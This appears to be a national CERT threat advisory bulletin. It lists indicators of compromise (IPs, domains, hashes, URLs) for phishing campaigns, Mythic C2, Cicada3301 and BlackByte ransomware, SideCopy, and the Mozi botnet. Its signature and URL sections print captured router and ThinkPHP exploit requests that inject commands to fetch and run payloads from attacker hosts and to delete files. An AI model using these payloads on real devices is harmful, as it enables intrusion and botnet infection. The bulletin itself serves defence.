It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The spear-phishing email contains an attached PDF file named "REQR OF COURSE VAC FOR TRG YR 2025-2026.pdf". The PDF file contains two buttons, “Download” and “Continue” with the blurred background.

Upon clicking the “Download” button, it downloads the file named “iLtr20245631.ppt”, which is a PowerPoint macro embedded malicious file used to target Windows Operating System and it is associated with a ransomware malware family.  Upon clicking file “iLtr20245631.ppt”, it executes the embedded macro code, which modifies Internet

Explorer settings and registry classes and makes Command & Control (C2) server connections with malicious IP.

**The file performs following functions:**

* Initial Access (Spear phishing)
* Execution  (Schedule Task/Job, Scripting, Exfiltration for client Execution)
* Privilege Escalation (Scheduled Task/job,  DLL side Loading, Hijack Execution Flow , Query Registry. Remote System discovery,  Process Discovery, System Information Discovery, File and Directory Discovery, Virtualization/Sandbox Evasion, Software Discovery, Security software Discovery )
* Defense Evasion  (Masquerading, Virtualization/Sandbox Evasion, Disable or Modify Tools, DLL side Loading, Rundll32, Software Packing, Reflective Code Loading, Obfuscated Files or Information, Software Packing,  System Binary proxy Execution, System Check, Impair Defenses, Hijack Execution Flow)
* Discovery (Query Registry, Remote System discovery, Process Discovery, System Information Discovery, File and Directory Discovery, Virtualization/Sandbox Evasion, Software Discovery, Security software Discovery)
* Command and Control (Application Layer Protocol, Encrypted Channels)
* Credential  (OS Credential dumping)
* Persistence (DLL Side-Loading, Hijack Execution Flow)

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IPs:

149.28.134.47

162.33.178.133

Hashes:

9a38e08ca4786a075a0ef6a41aa25d67

15439fc57d8c0c5df7d3315de28b84bf

fd61878d1e1741b7c1ebffe21c60909475156ecb

bfcd24c5c1f0d2950f2cf675ac0553b7a5b51e9d

e3260137c712111e555564d8ae1ae637e01a626d38a3ceeabef38d1bc1f8f876

5232706e2b1ec5479ba0488a2989c6e218d2205f7f220650befab42ad8584a94

Domains:

craftscore.info

watchneed.info

File names:

REQR OF COURSE... G YR 2025-2026.pdf

iLtr20245631.ppt

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2024-09-13-03**

It has been observed that adversaries are targeting government / defence personnel using spoofed / compromised email IDs, malicious domains, Phishing web pages and Vishing techniques.

Please find below malicious domains which are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Domains:

scigovin.com

scingov.com

scigov.online

supremecourtorder.in

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. TA-APT-2024-09-13-001

Mythic malware, an advanced, customizable Command and Control (C2) framework, primarily used by adversaries to control and manage malware operations. Adversary is a free-to-use, open-source tool which provides cross-platform payload creation options (Linux, MacOS, and Windows). With 'plug-n-play' functionality for its various (also open-source) agents, e.g. Apollo (Windows), Poseidon (Linux, MacOS), Bloodhound etc., the malware is known for its flexibility. This allows attackers to deploy various plugins and modules tailored to specific objectives.

Common Features of Mythic Malware:

Persistence

Remote access and data theft

Modular architecture and customizable

Stealth techniques to avoid detection by security software

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Address:

139.59.34.138

165.232.180.251

178.128.243.90

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2024-09-13-002**

It has been observed that a new ransomware group called Cicada3301 Ransomware is active in the cyber threat landscape and it operates as Ransomware-as-a-Service (RaaS). Adversary uses double-extortion techniques by encrypting files and threatening to leak sensitive data to compel victims into paying ransoms. The group uses Rust-based ransomware that has commonality with ALPHV ransomware, utilizing the ChaCha20 encryption algorithm while also leveraging a botnet called Brutus for credential brute-forcing. It uses legitimate tools to run programs remotely and encrypts files. The ransomware targets small to medium-sized businesses and takes advantage of vulnerabilities to gain initial access.

Affected Systems: Windows and Linux

MITRE ATTACK IDENTIFIER:

T1007- System Service Discovery

T1490- Inhibit System Recovery

T1529- System Shutdown/Reboot

T1562.001- Impair Defenses: Disable or Modify Tools

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

HASH:

7b3022437b637c44f42741a92c7f7ed251845fd02dda642c0a47fde179bd984e

IP:

91.92.249.203

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. TA-MAW-2024-09-13-008

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Addresses:

61.111.251.245

27.47.2.98

37.120.150.236

185.224.128.62

103.148.244.82

5.59.248.92

59.88.13.143

103.14.226.142

59.94.158.96

59.95.86.87

43.156.12.47

117.254.56.83

115.55.242.200

77.239.214.6

202.170.201.240

45.82.120.118

175.5.91.195

192.210.231.131

27.111.75.169

59.97.120.130

59.94.45.137

131.186.60.156

59.95.83.3

92.249.48.213

117.222.197.178

95.214.27.194

45.230.66.144

120.85.112.87

165.232.183.195

117.72.11.232

42.224.27.111

27.111.75.68

42.53.3.80

117.72.67.243

142.171.186.140

117.72.13.252

193.42.62.100

62.60.160.234

202.65.130.162

112.247.80.215

43.155.182.12

59.97.125.37

45.230.66.158

59.93.180.244

185.224.128.187

117.248.166.222

154.216.17.217

175.165.83.28

178.72.71.27

199.58.85.100

47.236.150.79

112.94.98.143

45.202.35.36

43.153.175.54

74.120.172.66

120.85.91.85

117.216.215.47

117.72.13.164

115.49.28.58

103.230.120.162

120.85.114.156

47.236.147.46

176.119.85.7

117.255.209.71

142.171.193.47

204.216.223.91

123.56.28.158

108.62.168.4

176.32.35.24

116.204.180.28

120.85.93.44

178.72.76.120

8.210.45.47

61.0.210.145

217.79.184.24

120.57.121.82

117.72.79.140

117.212.57.215

94.182.169.57

120.85.115.123

117.222.125.187

117.206.191.47

142.171.157.31

107.172.81.141

85.252.77.8

222.138.100.84

175.107.38.48

42.234.21.110

141.255.160.234

188.166.220.206

117.213.125.210

74.48.130.33

148.135.54.182

178.72.88.165

74.48.95.132

77.239.216.217

210.3.205.178

220.158.159.70

193.22.147.197

45.115.89.171

14.153.143.138

159.75.104.29

89.32.41.95

175.107.1.147

185.83.112.136

49.51.74.182

180.110.136.116

117.242.201.140

182.121.251.227

103.203.72.58

112.94.98.238

120.85.185.86

125.116.52.187

103.200.84.237

45.66.231.148

47.236.245.201

175.24.197.63

103.197.113.203

112.94.96.141

42.231.186.122

45.230.66.146

59.183.133.244

120.85.185.20

117.72.10.174

61.0.208.74

45.115.89.244

202.168.86.241

61.1.240.40

45.135.135.241

74.48.186.17

103.199.180.179

77.239.216.223

202.170.201.250

202.148.58.96

139.180.146.76

117.72.17.109

158.180.85.105

120.53.236.178

5.230.226.143

42.87.113.185

103.199.180.109

117.235.23.54

117.248.167.66

77.239.216.234

117.198.28.212

117.248.160.187

105.99.202.242

176.97.210.238

120.85.186.61

117.28.220.115

175.107.38.6

27.202.177.138

8.219.40.245

103.169.67.140

43.135.147.216

175.107.1.80

122.245.102.65

182.112.151.202

95.137.247.57

120.86.255.58

74.48.28.188

192.9.156.60

77.232.165.61

119.77.139.135

124.152.1.126

43.143.243.155

120.85.91.135

117.195.139.158

45.230.66.131

117.253.163.176

78.38.64.169

47.236.10.155

193.134.210.61

120.35.217.180

112.94.97.100

59.99.40.47

119.163.240.244

117.216.251.229

117.213.133.50

61.54.252.12

120.61.135.162

59.89.199.134

129.146.124.199

115.56.59.132

117.193.137.61

120.86.252.66

120.61.71.139

144.34.166.94

27.43.204.221

103.180.161.69

49.51.252.53

178.141.127.83

1.82.194.90

193.84.71.195

158.101.230.128

185.224.128.59

74.48.96.85

222.138.218.47

2.182.217.50

117.242.79.221

103.180.161.68

77.239.217.88

59.93.233.27

117.245.40.127

112.51.49.10

223.149.0.14

130.61.60.135

154.216.19.10

117.214.227.112

198.23.233.77

23.105.38.20

120.85.113.175

117.255.158.107

117.198.13.250

38.132.96.43

152.67.27.135

103.230.14.30

185.224.128.84

27.202.176.202

43.156.231.244

202.168.86.158

103.180.161.71

103.203.72.75

129.146.134.26

111.38.106.19

104.243.21.225

59.183.101.5

43.154.40.188

117.205.58.65

27.43.204.152

202.170.201.168

182.119.203.42

202.170.201.201

117.208.210.232

120.85.91.108

160.119.156.16

117.248.165.36

14.153.208.227

163.142.78.13

45.230.66.139

194.165.16.26

117.252.195.116

URLs:-

http://45.82.120.118

http://117.206.191.47:49537/Mozi.m

http://45.82.120.118/1/1.sh

http://117.198.28.212:50969/Mozi.m

http://59.99.40.47:39664/Mozi.m

http://119.163.240.244:34629/Mozi.m

http://59.93.180.244:37547/Mozi.m

http://45.66.231.148

http://117.252.195.116:46016/Mozi.m

http://176.119.85.7:36378/Mozi.m

http://42.87.113.185:50295/Mozi.m

http://112.247.80.215:56801/Mozi.m

http://115.56.59.132:57464/Mozi.m

http://45.202.35.36/tplink

http://61.1.240.40:40064/Mozi.m

http://154.216.19.10/

http://42.224.27.111:34570/Mozi.m

http://45.230.66.131:11672/Mozi.m

http://222.138.218.47:51628/Mozi.m

http://103.203.72.75:37093/Mozi.m

http://163.142.78.13:58862/Mozi.m

http://175.107.38.48:52527/Mozi.m

http://78.38.64.169:39697/Mozi.m

http://103.200.84.237:42474/Mozi.m

http://117.212.57.215:58315/Mozi.m

http://154.216.17.217:88/t

http://45.202.35.36

http://59.183.133.244:39192/Mozi.m

http://117.222.125.187:34461/Mozi.m

http://176.97.210.238/shk

http://222.138.100.84:51412/Mozi.m

http://85.252.77.8:50824/Mozi.m

http://45.202.35.36/

http://45.230.66.144:10846/Mozi.m

http://117.242.79.221:45505/Mozi.m

http://117.214.227.112:45001/Mozi.m

http://117.248.160.187:59918/Mozi.m

http://59.183.101.5:56590/Mozi.m

http://42.53.3.80:53911/Mozi.m

http://117.255.209.71:51281/Mozi.m

http://59.89.199.134:52840/Mozi.m

http://193.84.71.195/bins/x86

http://103.14.226.142/shk

http://180.110.136.116:49391/Mozi.m

http://59.97.120.130:37929/Mozi.m

http://120.61.135.162:51582/Mozi.m

http://59.95.86.87:45468/Mozi.m

http://202.170.201.201:46128/Mozi.m

http://59.94.158.96:55310/Mozi.m

http://5.59.248.92/mips

http://87.121.112.42/wget

http://117.254.56.83:55879/Mozi.m

http://117.198.13.250:56754/Mozi.m

http://45.115.89.171:45650/Mozi.m

http://59.97.125.37:36428/Mozi.m

http://202.170.201.168:51690/Mozi.a

http://117.248.165.36:44903/Mozi.a

http://175.107.1.147:55781/Mozi.m

http://124.247.204.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;amp;amp;amp;operation=write&amp;amp;amp;amp;amp;country=$(id%3e%60cd+/tmp;+rm+-rf+shk;+wget+http://176.97.210.238/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk%60)%3c/span%3e%3c/div%3e

http://160.119.156.16:59629/Mozi.a

http://182.119.203.42:46724/Mozi.m

http://115.49.28.58:57671/Mozi.m

http://117.253.163.176:55712/Mozi.m

http://182.112.151.202:55240/Mozi.m

http://117.251.87.80/shell?cd+/tmp;rm+-rf+\*;wget+http://117.222.197.178:49978/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

http://202.170.201.250:58360/Mozi.m

http://59.93.233.27:40234/Mozi.m

http://117.242.201.140:37688/Mozi.m

http://45.230.66.158:11512/Mozi.m

http://182.121.251.227:54592/Mozi.m

http://45.82.120.118/shk

http://27.111.75.68:35306/Mozi.m

http://77.232.165.61:59636/Mozi.m

http://117.255.158.107:39576/Mozi.m

http://117.213.133.50:39125/Mozi.m

http://154.216.19.10

http://117.245.40.127:38185/Mozi.m

http://117.213.125.210:41078/Mozi.m

http://125.116.52.187:55321/Mozi.a

http://27.202.176.202:33886/Mozi.m

http://175.107.38.6:48211/Mozi.m

http://14.153.208.227:52133/Mozi.a

http://45.230.66.158:10006/Mozi.m

http://117.248.167.66:50435/Mozi.m

http://117.251.87.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;operation=write&amp;amp;country=$(id%3E%60cd+/tmp;+rm+-rf+shk;+wget+http://103.14.226.142/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk%60)

http://120.61.71.139:58765/Mozi.m

http://117.193.137.61:38468/Mozi.m

http://59.88.13.143:57904/Mozi.m

http://42.231.186.122:55187/Mozi.m

http://14.153.143.138:48973/Mozi.m

http://117.216.215.47:57345/Mozi.m

http://45.230.66.139:11170/Mozi.m

http://61.0.208.74:46549/Mozi.m

http://115.55.242.200:39339/Mozi.m

http://117.216.251.229:55453/Mozi.m

http://45.66.231.148/r

http://175.107.1.80:43149/Mozi.m

http://117.205.58.65:55242/Mozi.m

http://5.59.248.92/Yboats.x86

http://111.38.106.19:44496/Mozi.a

http://27.111.75.169:35265/Mozi.m

http://117.222.197.178:49978/Mozi.a

http://120.57.121.82:45268/Mozi.m

http://61.0.210.145:43717/Mozi.m

http://95.137.247.57:41831/Mozi.m

http://175.165.83.28:42150/Mozi.m

http://117.208.210.232:39035/Mozi.m

http://103.199.180.179:36147/Mozi.m

http://105.99.202.242:60498/Mozi.m

http://59.95.83.3:60855/Mozi.m

http://42.234.21.110:38859/Mozi.m

http://117.248.166.222:44320/Mozi.m

http://176.97.210.238/shk

http://59.94.45.137:52899/Mozi.m

http://117.195.139.158:37734/Mozi.m

http://103.203.72.58:58216/Mozi.m

http://117.235.23.54:49645/Mozi.m

Signatures:

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://175.107.38.48:52527/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://61.1.240.40:40064/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

http://117.251.87.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;operation=write&amp;amp;country=$(id%3E%60cd+/tmp;+rm+-rf+shk;+wget+http://103.14.226.142/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk%60)

/bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}\*;${IFS}wget${IFS}http://5.59.248.92/mips;${IFS}chmod${IFS}777${IFS}mips;${IFS}./mips${IFS}zyxel.selfrep

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://78.38.64.169:39697/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://77.232.165.61:59636/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+tplink%3B+wget+http%3A%2F%2F45.202.35.36%2Ftplink%3B+chmod+777+tplink%3B+.%2Ftplink%3B%60)

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://27.202.176.202:33886/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://14.153.143.138:48973/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://117.205.58.65:55242/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

http://117.251.87.80/shell?cd+/tmp;rm+-rf+\*;wget+http://117.222.197.178:49978/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://59.89.199.134:52840/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/index.php?s=/index/#011hink#007pp/invokefunction&function=call\_user\_func\_array&vars[0]=shell\_exec&vars[1][]='wget http://193.84.71.195/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F45.82.120.118%2F1%2F1.sh%3B+chmod+777+1.sh%3B+.%2F1.sh%3B%60)

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://95.137.247.57:41831/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://117.222.125.187:34461/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/shell?cd+/tmp;rm+-rf+\*;wget+http://160.119.156.16:59629/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://59.94.45.137:52899/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://59.183.101.5:56590/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://115.55.242.200:39339/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

http://124.247.204.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;amp;amp;amp;operation=write&amp;amp;amp;amp;amp;country=$(id%3e%60cd+/tmp;+rm+-rf+shk;+wget+http://176.97.210.238/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk%60)%3c/span%3e%3c/div%3e

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2024-09-13-004**

It has been observed that adversaries are targeting government / defence personnel using spoofed / compromised email IDs, malicious domains, Phishing web pages and Vishing techniques.

Please find below malicious domains which are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Domains:

email-sec.in

email.gov.in.filesharing.breifcase.bharatdharti.xyz

\*.in.filesharing.breifcase.bharatdharti.xyz

drdo.gov.in.aboutcase.nl

usemembassymumbai-gov.info

emailnic.org

email.gov.in.publications.ltd

www.email.gov.in.publications.ltd

email.gov.in.publications.tld.publications.ltd

www.email.gov.in.publications.tld.publications.ltd

\*.in.publications.ltd

\*.in.publications.tld.publications.ltd

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC

END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2024-09-13-002**

APT SideCopy is known for deploying malware to target individuals and organizations. It aims to steal sensitive information and conduct espionage. This group is particularly notable for its spear-phishing campaigns and the deployment of custom malware to compromise target systems.

Common Features of SideCopy Threat Actor:

Spear-Phishing (highly targeted and convincing phishing emails to trick victims)

Information Theft (documents, credentials, and personal data)

Remote Access

Credential Harvesting

Data Exfiltration

Persistence Mechanisms

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Address:

31.220.74.247

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. TA-RAN-2024-09-13-003

It has been observed that BlackByte ransomware is a Ransomware-as-a-Service (RaaS) model where they rent out their ransomware to affiliates who can carry out intrusions into organizations and deploy it to encrypt files. The ransomware uses an obfuscated launcher to hide its nature on a target machine. Initial access is commonly achieved through exploiting vulnerabilities such as CVE-2024-37085 in VMware ESXi hypervisors or leveraging valid credentials purchased from Initial Access Brokers. The BlackByte uses different system commands to delete backups and shadow copies to thwart data recovery.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP ADDRESSES:

185.93.6.31

45.9.148.114

109.206.243.59

185.225.73.244

DOMAINS:

Mega.co.nz

exe.mbt.tg

exe.mbt.th

exe.mbt.sb

myvisit.alteksecurity.org

URL's:

http://gfs270n392.userstorage.mega.co.nz/ul/PCfY6R3GKGjIEQK2tzWLODSlhG-h5NbxGHdNAToANCzjKK8Z6kdCiqshxM6ctHDKpLU09-YobgYybaQkCnpwnw/4718592

http://gfs262n303.userstorage.mega.co.nz/ul/f\_re9dP6f9G8GAJhd3p43aJnvHnw7rCHLumJV-MXDlaL2RaSQQrPH1BYStJHWy4JkPgJ13KczuiJoOl0iwjxDA/15204352

http://gfs206n108.userstorage.mega.co.nz/ul/aX72PSSxERHKJwLdWCCOmsJQRioP7N6kcAltRRTbAgwGtNzcsdYa\_7HTb4ToVV\_HcVPORXotYAF5WqFAsmAOKA/15204352

http://gfs208n174.userstorage.mega.co.nz/ul/z6nR8uTohiga4QeILJsXcAWlt05Vhu2XiDlne\_Qag-rgAmZkK2aZMvYrWC5FHRebBpMoxYZEEqSStHyvU6SnWQ/6815744

http://gfs214n129.userstorage.mega.co.nz/ul/wVJUlrn9bMLekALaMZx\_o5FeK-U1oG9q4CWqHGNslUnVY2-BgJcEUxIJX9O4fXEWkt-x80LeAr7Jz9gXTCwzDA/2752512

http://gfs204n140.userstorage.mega.co.nz/ul/\_Amu75VCTCu6BgIdFs8ZgHPyHqBFm5Cj8bV1xkM5QFt2T0x-9C\_KlHQAQ3kX4bzj8jgmyK9-dlbmx9ef6Y9JDw/1966080

http://gfs206n171.userstorage.mega.co.nz/ul/9Y39ts0Mp6xtige0-wHhmMG74YgASgG1UhZYfzl\_fh8TN\_TQo1gSa92TNe\_HTBxvOTirA0yfouEE74-Y3Cy1Tw/81264640

https://g.api.mega.co.nz

https://g.api.mega.co.nz/cs?id=1674017543

https://myvisit.alteksecurity.org/t

https://temp.sh/szAyn/sys.exe

http://45.9.148.114/forest.png

http://185.93.6.31/mountain.png

HASHES:

47870de17eb7d1758d705b593ac75cce

c3ce2163fa601199380c21e22a653c0c

b020684717fe72dd398e0be5c2a36c809221f206

03011da0f7f2e04ddfc9b8d2356dc4cb

0f7e3c94b2d3df1722950ff472a06b3f96f65399

8d42417ef02e50249fb7f97fcbfbbb8b

c27e85de8db2f634db44baee4273bbeeb152435c

de9d361c8e00cf8fa1c1f96844a74cdc121809da

07a9b1fdfb383a2b1d0172802ce01033

351198e557151fa0f4eea2b3bb8771d180fa8432

4d2da36174633565f3dd5ed6dc5033c4

cd7034692d8f29f9146deb3641de7986

d63a7756bfdcd2be6c755bf288a92c8b

eed7357ab8d2fe31ea3dbcf3f9b7ec74

695e343b81a7b0208cbae33e11f7044c

296c51eb03e70808304b5f0e050f4f94

0c7b8da133799dd72d0dbe3ea012031e

a77899602387665cddb6a0f021184a2b

1473c91e9c0588f92928bed0ebf5e0f4

28b791746c97c0c04dcbfe0954e7173b

52b8ae74406e2f52fd81c8458647acd8

1785f4058c78ae3dd030808212ae3b04

b8e24e6436f6bed17757d011780e87b9

8dfa48e56fc3a6a2272771e708cdb4d2

4ce0bdd2d4303bf77611b8b34c7d2883

c010d1326689b95a3d8106f75003427c

ae6fbc60ba9c0f3a0fef72aeffcd3dc7

405cb8b1e55bb2a50f2ef3e7c2b28496

11e35160fc4efabd0a3bd7a7c6afc91b

659b77f88288b4874b5abe41ed36380d

151c6f04aeff0e00c54929f25328f6f7

959a7df5c465fcd963a641d87c18a565

5f40e1859053b70df9c0753d327f2cee

df7befc8cdc3c5434ef27cc669fb1e4b

51f2cf541f004d3c1fa8b0f94c89914a

d9e94f076d175ace80f211ea298fa46e

8320d9ec2eab7f5ff49186b2e630a15f

cea6be26d81a8ff3db0d9da666cd0f8f

31f818372fa07d1fd158c91510b6a077

a9cf6dce244ad9afd8ca92820b9c11b9

7139415fecd716bec6d38d2004176f5d

c13bf39e2f8bf49c9754de7fb1396a33

5c0a549ae45d9abe54ab662e53c484e2

ad29212716d0b074d976ad7e33b8f35f

d4aa276a7fbe8dcd858174eeacbb26ce

9344afc63753cd5e2ee0ff9aed43dc56

e2eb5b57a8765856be897b4f6dadca18

58e8043876f2f302fbc98d00c270778b

d2a15e76a4bfa7eb007a07fc8738edfb

e46bfbdf1031ea5a383040d0aa598d45

7c3782f1285f48d8c9a17be8db65b02d

2d8e4f38b36c334d0a32a7324832501d

23c893984e388278e7996b70f220aa28

5483da573c6a239f9a5d6e6552b307b0

1eee62ae28e6b20f4100ce4a02fedd94

a62d5c8ef4d626febfcd2c00898c6c27

03dc3de9d456453ea5ccc37fef77132e

72b9466693470b98ad6be6dd151e46e9

f6f11ad2cd2b0cf95ed42324876bee1d83e01775

13c6c472a1dfcb2cc03bd65a3f122e8230255821

c90f32fd0fd4eefe752b7b3f7ebfbc7bd9092b16

c2eaca8799d335954ef3d9a1867ec1b629ca4f1a

ff1b176f0885c730516e798aaa14cff694f34a3b

854e020efefbf393e04d897b6b0b83ef92fd2db8

b596dff6057ebde53c300fee089e0e5663ebeee1

